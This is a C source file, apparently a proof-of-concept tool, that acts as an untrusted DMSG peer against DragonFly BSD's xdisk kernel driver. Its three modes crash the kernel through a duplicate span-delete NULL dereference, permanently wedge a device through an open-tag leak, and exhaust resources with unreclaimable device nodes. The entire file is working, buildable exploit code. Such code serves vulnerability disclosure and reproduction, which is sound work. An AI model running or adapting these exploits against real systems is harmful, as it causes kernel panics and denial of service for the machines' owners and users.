/*
 * xdpeer.c — untrusted DMSG peer for DragonFly xdisk (xdisk) security PoCs.
 *
 * Modes:
 *   panic  - DF-4381: duplicate LNK_SPAN DELETE double-dispatch -> NULL deref
 *            panic in xaio_rcvdmsg() (xdisk.c:538).
 *   leak   - DF-4382: peer DELETE of BLK_OPEN transaction leaks the open tag
 *            onto tag_pendq forever -> after MAXTAGS(64) open cycles the
 *            device is permanently wedged (open -> ENXIO, softc unkillable).
 *   flood  - DF-4383: N LNK_SPANs with distinct pfs_labels -> N softcs +
 *            N /dev/xaN devices; never reclaimed after link loss; kldunload
 *            permanently EBUSY.
 *
 * Protocol notes (sys/sys/dmsg.h, sys/kern/kern_dmsg.c):
 *   - kernel receive path does NOT verify hdr_crc/aux_crc (only magic+size),
 *     so we send frames with zero CRCs.
 *   - extended-header size is encoded in cmd DMSGF_SIZE and is part of the
 *     switch() constants, so it must match the struct exactly.
 *   - replies to kernel-initiated transactions must echo msgid/circuit and
 *     the REVTRANS/REVCIRC routing bits.
 *
 * build: cc -O2 -o xdpeer xdpeer.c -pthread
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <errno.h>
#include <ctype.h>
#include <dirent.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/xdiskioctl.h>

/* ------------------------------------------------------------------ */
/* DMSG wire constants (mirror sys/sys/dmsg.h)                        */

#define DMSGF_CREATE  0x80000000u
#define DMSGF_DELETE  0x40000000u
#define DMSGF_REPLY   0x20000000u
#define DMSGF_ABORT   0x10000000u
#define DMSGF_REVTRANS 0x08000000u
#define DMSGF_REVCIRC  0x04000000u

#define CMD_LNK_PING   0x00000101u   /* DMSG_LNK(0x001, dmsg_hdr)        */
#define CMD_LNK_SPAN   0x00001207u   /* DMSG_LNK(0x012, dmsg_lnk_span)   */
#define CMD_BLK_OPEN   0x00500102u   /* DMSG_BLK(0x001, dmsg_blk_open)   */
#define CMD_BLK_READ   0x00500302u   /* DMSG_BLK(0x003, dmsg_blk_read)   */
#define CMD_BLK_WRITE  0x00500402u   /* DMSG_BLK(0x004, dmsg_blk_write)  */
#define CMD_BLK_FLUSH  0x00500502u
#define CMD_BLK_FREEBLKS 0x00500602u
#define CMD_BLK_ERROR  0x005FFF03u   /* DMSG_BLK(0xFFF, dmsg_blk_error)  */

#define FLAGMASK (DMSGF_CREATE|DMSGF_DELETE|DMSGF_REPLY|DMSGF_ABORT| \
                  DMSGF_REVTRANS|DMSGF_REVCIRC)
#define BASECMD(cmd) ((cmd) & ~FLAGMASK)

#define HDR_BYTES   64
#define SPAN_BYTES  448   /* 64 hdr + 384 ext (dmsg_lnk_span)           */
#define BLKERR_BYTES 192  /* 64 hdr + 128 ext (dmsg_blk_error)          */

static void   put_u16(unsigned char *p, uint32_t v){ p[0]=v&0xff; p[1]=(v>>8)&0xff; }
static void   put_u32(unsigned char *p, uint32_t v){ p[0]=v&0xff; p[1]=(v>>8)&0xff; p[2]=(v>>16)&0xff; p[3]=(v>>24)&0xff; }
static void   put_u64(unsigned char *p, uint64_t v){ int i; for(i=0;i<8;i++) p[i]=(unsigned char)((v>>(8*i))&0xff); }
static uint32_t get_u32(const unsigned char *p){ return (uint32_t)p[0]|((uint32_t)p[1]<<8)|((uint32_t)p[2]<<16)|((uint32_t)p[3]<<24); }
static uint64_t get_u64(const unsigned char *p){ uint64_t v=0; int i; for(i=7;i>=0;i--) v=(v<<8)|p[i]; return v; }

static int peer_fd = -1;
static volatile int reader_run = 1;

/* ------------------------------------------------------------------ */

static int
write_all(int fd, const void *buf, size_t n)
{
	const unsigned char *p = buf;
	while (n) {
		ssize_t r = write(fd, p, n);
		if (r <= 0) {
			if (r < 0 && errno == EINTR) continue;
			return -1;
		}
		p += r; n -= r;
	}
	return 0;
}

static int
read_full(int fd, void *buf, size_t n)
{
	unsigned char *p = buf;
	while (n) {
		ssize_t r = read(fd, p, n);
		if (r <= 0) {
			if (r < 0 && errno == EINTR) continue;
			return -1;
		}
		p += r; n -= r;
	}
	return 0;
}

/* Read one whole frame (hdr + ext + aux); discard aux. */
static int
read_frame(int fd, uint32_t *cmdp, uint64_t *msgidp, uint64_t *circp,
           uint32_t *errp)
{
	unsigned char hdr[HDR_BYTES];
	uint32_t cmd;
	size_t hbytes, abytes;

	if (read_full(fd, hdr, sizeof(hdr)) < 0)
		return -1;
	cmd = get_u32(&hdr[32]);
	hbytes = (cmd & 0xFF) * 64;
	if (hbytes < 64 || hbytes > 2048)
		return -1;
	if (hbytes > 64) {
		unsigned char ext[2048 - 64];
		if (read_full(fd, ext, hbytes - 64) < 0)
			return -1;
	}
	abytes = get_u32(&hdr[40]);
	if (abytes > (1024 * 1024))
		return -1;
	if (abytes) {
		size_t al = (abytes + 63) & ~(size_t)63;
		unsigned char *junk = malloc(al);
		if (!junk) return -1;
		if (read_full(fd, junk, al) < 0) { free(junk); return -1; }
		free(junk);
	}
	if (cmdp)  *cmdp = cmd;
	if (msgidp)*msgidp = get_u64(&hdr[8]);
	if (circp) *circp = get_u64(&hdr[16]);
	if (errp)  *errp = get_u32(&hdr[44]);
	return 0;
}

static void
fill_hdr(unsigned char *f, uint32_t cmd, uint64_t msgid, uint64_t circuit,
         uint32_t error)
{
	memset(f, 0, HDR_BYTES);
	put_u16(&f[0], 0x4832);		/* magic */
	put_u32(&f[32], cmd);
	put_u64(&f[8], msgid);
	put_u64(&f[16], circuit);
	put_u32(&f[44], error);
}

static void
build_span(unsigned char *f, uint64_t msgid, const char *plabel,
           uint32_t flags)
{
	memset(f, 0, SPAN_BYTES);
	fill_hdr(f, CMD_LNK_SPAN | flags, msgid, 0, 0);
	/* peer_type = DMSG_PEER_BLOCK(2) @97 */       f[97] = 2;
	/* proto_version @98 */                        put_u16(&f[98], 1);
	/* media.block.bytes @120 = 1 GiB */           put_u64(&f[120], 1024ull*1024*1024);
	/* media.block.blksize @128 */                 put_u32(&f[128], 512);
	/* peer_label @176 */   snprintf((char *)&f[176], 128, "attacker/xdpeer");
	/* pfs_label @304 */    snprintf((char *)&f[304], 128, "%s", plabel);
}

static void
build_ping(unsigned char *f, uint64_t msgid)
{
	fill_hdr(f, CMD_LNK_PING | DMSGF_CREATE, msgid, 0, 0);
}

static void
build_blkerr(unsigned char *f, uint32_t flags, uint64_t msgid,
             uint64_t circuit, uint32_t error)
{
	memset(f, 0, BLKERR_BYTES);
	fill_hdr(f, CMD_BLK_ERROR | flags, msgid, circuit, error);
}

/* ------------------------------------------------------------------ */
/* attach: connect a socketpair to the kernel via /dev/xdisk          */

static int
xdisk_attach_fd(int fd)
{
	int devfd;
	struct xdisk_attach_ioctl xaioc;

	devfd = open("/dev/xdisk", O_RDWR);
	if (devfd < 0) {
		fprintf(stderr, "open /dev/xdisk: %s (kldload xdisk?)\n",
		    strerror(errno));
		return -1;
	}
	memset(&xaioc, 0, sizeof(xaioc));
	xaioc.fd = fd;
	if (ioctl(devfd, XDISKIOCATTACH, &xaioc) < 0) {
		fprintf(stderr, "XDISKIOCATTACH: %s\n", strerror(errno));
		close(devfd);
		return -1;
	}
	close(devfd);
	return 0;
}

/* drain thread: keep the kernel writer flowing + answer transactions */
struct drain_args {
	int answer;			/* answer BLK_OPEN / BLK_* probes */
};

static void *
drain_thread(void *arg)
{
	struct drain_args *da = arg;
	while (reader_run) {
		uint32_t cmd, err; uint64_t msgid, circ;
		if (read_frame(peer_fd, &cmd, &msgid, &circ, &err) < 0)
			break;
		if (!da->answer)
			continue;
		if ((cmd & DMSGF_CREATE) && !(cmd & DMSGF_REPLY) &&
		    !(cmd & DMSGF_DELETE)) {
			uint32_t base = BASECMD(cmd);
			/* replies invert the transaction/circuit routing bits
			 * (see kdmsg_state_abort: cmd ^= REVTRANS|REVCIRC) */
			uint32_t route = (cmd ^ (DMSGF_REVTRANS |
						 DMSGF_REVCIRC)) &
					 (DMSGF_REVTRANS | DMSGF_REVCIRC);
			unsigned char rep[BLKERR_BYTES];
			if (base == CMD_BLK_OPEN) {
				/* result: keep transaction open, error 0 */
				build_blkerr(rep, DMSGF_REPLY | DMSGF_CREATE |
					     route, msgid, circ, 0);
				write_all(peer_fd, rep, BLKERR_BYTES);
				/* DF-4382: peer-initiated DELETE of the
				 * BLK_OPEN transaction -> xa_sync_completion
				 * DELETE path -> xa_done(tag,0) with
				 * async==0 -> tag never released */
				build_blkerr(rep, DMSGF_REPLY | DMSGF_DELETE |
					     route, msgid, circ, 0);
				write_all(peer_fd, rep, BLKERR_BYTES);
			} else if (base == CMD_BLK_READ || base == CMD_BLK_WRITE ||
				   base == CMD_BLK_FLUSH ||
				   base == CMD_BLK_FREEBLKS) {
				build_blkerr(rep, DMSGF_REPLY | DMSGF_CREATE |
					     DMSGF_DELETE | route,
					     msgid, circ, 0);
				write_all(peer_fd, rep, BLKERR_BYTES);
			}
		}
	}
	return NULL;
}

/* ------------------------------------------------------------------ */

static int
mode_panic(int argc, char **argv)
{
	int attempts = (argc > 1) ? atoi(argv[1]) : 200;
	int pings    = (argc > 2) ? atoi(argv[2]) : 100;
	int i, j;
	pthread_t tid;
	struct drain_args da;
	unsigned char *burst;
	size_t burstlen;
	int sv[2];

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair"); return 1;
	}
	peer_fd = sv[0];
	if (xdisk_attach_fd(sv[1]) < 0) return 1;

	da.answer = 0;
	pthread_create(&tid, NULL, drain_thread, &da);

	usleep(200000);			/* let LNK_CONN etc. settle */

	for (i = 0; i < attempts; i++) {
		uint64_t mid = 0x100000ull + i;
		char label[64];
		unsigned char span[SPAN_BYTES];

		snprintf(label, sizeof(label), "pwn-%05d", i);
		build_span(span, mid, label, DMSGF_CREATE);
		if (write_all(peer_fd, span, SPAN_BYTES) < 0) {
			fprintf(stderr, "attempt %d: write span: %s\n", i,
			    strerror(errno));
			break;
		}
		usleep(2000);		/* span CREATE processed */

		/*
		 * One combined write: N PING|CREATE transactions (each makes
		 * the kernel queue a reply for its writer thread), followed
		 * by the SPAN DELETE ... twice.  The writer is guaranteed to
		 * still be draining the ping replies when the rx thread
		 * processes the second DELETE, so the span state still has
		 * txcmd without DELETE -> kdmsg_state_msgrx() lets the
		 * duplicate through -> xaio_rcvdmsg() runs the span-delete
		 * case a second time with msg->state->any.xa_sc == NULL.
		 */
		burstlen = (size_t)pings * 64 + 2 * SPAN_BYTES;
		burst = malloc(burstlen);
		if (!burst) { perror("malloc"); break; }
		for (j = 0; j < pings; j++)
			build_ping(burst + (size_t)j * 64, 0x200000ull + i * 4096ull + j);
		build_span(burst + (size_t)pings * 64, mid, label, DMSGF_DELETE);
		build_span(burst + (size_t)pings * 64 + SPAN_BYTES, mid, label,
			   DMSGF_DELETE);
		if (write_all(peer_fd, burst, burstlen) < 0) {
			fprintf(stderr, "attempt %d: write burst: %s\n", i,
			    strerror(errno));
			free(burst);
			break;
		}
		free(burst);
		usleep(5000);
		fprintf(stderr, "attempt %04d survived\n", i);
		fflush(stderr);
	}
	fprintf(stderr, "panic mode finished without a crash\n");
	reader_run = 0;
	return 0;
}

static int
mode_leak(int argc, char **argv)
{
	int cycles = (argc > 1) ? atoi(argv[1]) : 80;
	int i, fd, fail_iter = -1;
	pthread_t tid;
	struct drain_args da;
	unsigned char span[SPAN_BYTES];
	int sv[2];
	char dev[64];

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair"); return 1;
	}
	peer_fd = sv[0];
	if (xdisk_attach_fd(sv[1]) < 0) return 1;

	da.answer = 1;
	pthread_create(&tid, NULL, drain_thread, &da);

	{
		/* snapshot existing /dev/xa* units, then wait for a NEW one */
		int before[512];
		int round, u, newu = -1;
		DIR *d;
		struct dirent *de;

		memset(before, 0, sizeof(before));
		if ((d = opendir("/dev")) != NULL) {
			while ((de = readdir(d)) != NULL) {
				if (strncmp(de->d_name, "xa", 2) ||
				    !isdigit((unsigned char)de->d_name[2]))
					continue;
				u = atoi(&de->d_name[2]);
				if (u >= 0 && u < 512)
					before[u] = 1;
			}
			closedir(d);
		}
	{
		char label[64];
		snprintf(label, sizeof(label), "leak-%d", getpid());
		build_span(span, 0x3001, label, DMSGF_CREATE);
		write_all(peer_fd, span, SPAN_BYTES);
	}

		for (round = 0; round < 60 && newu < 0; round++) {
			usleep(100000);
			if ((d = opendir("/dev")) == NULL)
				continue;
			while ((de = readdir(d)) != NULL) {
				if (strncmp(de->d_name, "xa", 2) ||
				    !isdigit((unsigned char)de->d_name[2]))
					continue;
				u = atoi(&de->d_name[2]);
				if (u >= 0 && u < 512 && !before[u]) {
					newu = u;
					break;
				}
			}
			closedir(d);
		}
		if (newu < 0) {
			fprintf(stderr, "leak: no new /dev/xa* appeared\n");
			return 1;
		}
		snprintf(dev, sizeof(dev), "/dev/xa%d", newu);
	}
	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "leak: open %s: %s\n", dev, strerror(errno));
		return 1;
	}
	close(fd);
	fprintf(stderr, "leak: %s is up; cycling open()/close()\n", dev);

	for (i = 0; i < cycles; i++) {
		fd = open(dev, O_RDWR);
		if (fd < 0) {
			fail_iter = i;
			printf("OPEN FAILED at cycle %d: %s\n", i,
			    strerror(errno));
			break;
		}
		/*
		 * Hold the device open long enough that the peer DELETE of
		 * the BLK_OPEN transaction is always processed while
		 * sc->open_tag == tag (the leak condition).  Closing first
		 * would let xa_wait()/xa_release() return the tag.
		 */
		usleep(50000);
		close(fd);
		if ((i % 16) == 0) {
			fprintf(stderr, "cycle %d ok\n", i);
			fflush(stderr);
		}
		usleep(2000);
	}
	if (fail_iter < 0) {
		printf("no open() failure after %d cycles\n", cycles);
	} else {
		/* permanence: further opens must keep failing */
		int bad = 0;
		for (i = 0; i < 5; i++) {
			usleep(200000);
			fd = open(dev, O_RDWR);
			if (fd >= 0) { close(fd); bad++; }
		}
		printf("post-failure reopens succeeded %d/5 (want 0)\n", bad);
		printf("open_tag leak reproduced: device wedged after %d "
		    "cycles (MAXTAGS=64)\n", fail_iter);
	}
	fflush(stdout);

	/* drop the span and hang up; sc must STILL not be reclaimable */
	{
		char label[64];
		snprintf(label, sizeof(label), "leak-%d", getpid());
		build_span(span, 0x3001, label, DMSGF_DELETE);
		write_all(peer_fd, span, SPAN_BYTES);
	}
	usleep(500000);
	reader_run = 0;
	close(peer_fd);
	return 0;
}

static int
mode_flood(int argc, char **argv)
{
	int n = (argc > 1) ? atoi(argv[1]) : 200;
	int i;
	pthread_t tid;
	struct drain_args da;
	unsigned char span[SPAN_BYTES];
	int sv[2];

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair"); return 1;
	}
	peer_fd = sv[0];
	if (xdisk_attach_fd(sv[1]) < 0) return 1;

	da.answer = 1;
	pthread_create(&tid, NULL, drain_thread, &da);

	for (i = 0; i < n; i++) {
		char label[64];
		snprintf(label, sizeof(label), "flood-%05d", i);
		build_span(span, 0x500000ull + i, label, DMSGF_CREATE);
		if (write_all(peer_fd, span, SPAN_BYTES) < 0)
			break;
		usleep(1000);
	}
	fprintf(stderr, "flood: sent %d spans\n", n);
	/*
	 * Let every device's geom probe storm quiesce BEFORE any span
	 * goes away (deletes racing in-flight probe bios rediscover the
	 * already-known DF-2532 B_FAILONDIS panic, not our target).
	 */
	sleep(12);

	/*
	 * Clean teardown: explicitly DELETE every span.  The softcs and
	 * /dev/xaN nodes must SURVIVE this (never reclaimed).
	 */
	for (i = 0; i < n; i++) {
		char label[64];
		snprintf(label, sizeof(label), "flood-%05d", i);
		build_span(span, 0x500000ull + i, label, DMSGF_DELETE);
		if (write_all(peer_fd, span, SPAN_BYTES) < 0)
			break;
		usleep(10000);
	}
	fprintf(stderr, "flood: sent %d span deletes, exiting\n", n);
	sleep(2);
	reader_run = 0;
	return 0;
}

int
main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: xdpeer panic|leak|flood [args]\n");
		return 1;
	}
	if (!strcmp(argv[1], "panic"))
		return mode_panic(argc - 1, argv + 1);
	if (!strcmp(argv[1], "leak"))
		return mode_leak(argc - 1, argv + 1);
	if (!strcmp(argv[1], "flood"))
		return mode_flood(argc - 1, argv + 1);
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 1;
}